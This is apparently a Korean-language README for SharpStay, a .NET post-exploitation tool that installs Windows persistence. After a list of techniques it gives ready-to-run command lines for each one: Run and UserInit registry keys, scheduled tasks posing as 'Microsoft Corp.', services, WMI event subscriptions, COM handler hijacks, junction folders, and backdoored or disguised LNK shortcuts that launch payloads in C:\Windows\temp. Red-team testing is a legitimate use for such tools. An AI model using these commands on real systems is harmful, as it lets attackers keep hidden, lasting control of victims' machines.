0xthirteen/sharpstay레지스트리 키, 예약된 작업, 서비스, WMI 이벤트, COM 하이재킹 및 LNK 백도어를 통해 Windows 지속성을 설치하는 .NET 도구이며, 상승된 컨텍스트와 비상승된 컨텍스트를 모두 지원합니다.
컴파일하려면 Visual Studio 프로젝트를 열고 릴리스용으로 컴파일하세요.
상승된 레지스트리 키
상승된 UserInit 레지스트리 키
상승된 예약 작업
상승된 서비스 생성
상승된 WMI 이벤트 구독
비상승 InitMprLogonScript 레지스트리 키
비상승 예약 작업 COM 핸들러 하이재킹
비상승 정션 폴더
기타 예약 작업 동작 추가
기타 시작 디렉터리
기타 새 LNK
기타 백도어 LNK
기타 작업 이름
기타 예약 작업 나열
기타 실행 중인 서비스 나열
기타 예약 작업 COM 핸들러 가져오기
Sharpstay.exe action=ElevatedRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserRegistryKey keyname=Debug keypath=HKCU:Software\Microsoft\Windows\CurrentVersion\Run command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=UserInitMprLogonScriptKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ElevatedUserInitKey command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=ScheduledTask taskname=TestTask command="C:\windows\temp\file.exe" runasuser=user1 triggertype=logon author=Microsoft Corp. description="Test Task" logonuser=user1
Sharpstay.exe action=ScheduledTaskAction taskname=TestTask command="C:\Windows\temp\fun.exe" folder="\\" actionid=ExecAction
Sharpstay.exe action=SchTaskCOMHijack clsid={a47af52a-27f9-4426-bd2b-727050712db1} dllpath="C:\windows\temp\fun.dll"
Sharpstay.exe action=CreateService servicename=TestService command="C:\Windows\temp\fun.exe"
Sharpstay.exe action=WMIEventSub command="C:\Windows\temp\fun.exe" eventname=Debugger attime=startup
Sharpstay.exe action=JunctionFolder dllpath="C:\windows\temp\fun.dll guid={a47af52a-27f9-4426-bd2b-727050712db1}
Sharpstay.exe action=NewLNK filepath="C:\users\admin\desktop" lnkname="Notepad.lnk" lnktarget="C:\Windows\temp\file.exe" lnkicon="C:\Windows\system32\notepad.exe"
Sharpstay.exe action=BackdoorLNK command="C:\Windows\temp\fun.exe" lnkpath="C:\users\user\desktop\Excel.lnk"
Sharpstay.exe action=ListTaskNames
Sharpstay.exe action=ListScheduledTasks
Sharpstay.exe action=ListRunningServices
Sharpstay.exe action=GetScheduledTaskCOMHandler
cleanup=true는 각 지속성 유형에 대한 옵션입니다.
StayKit의 일부입니다.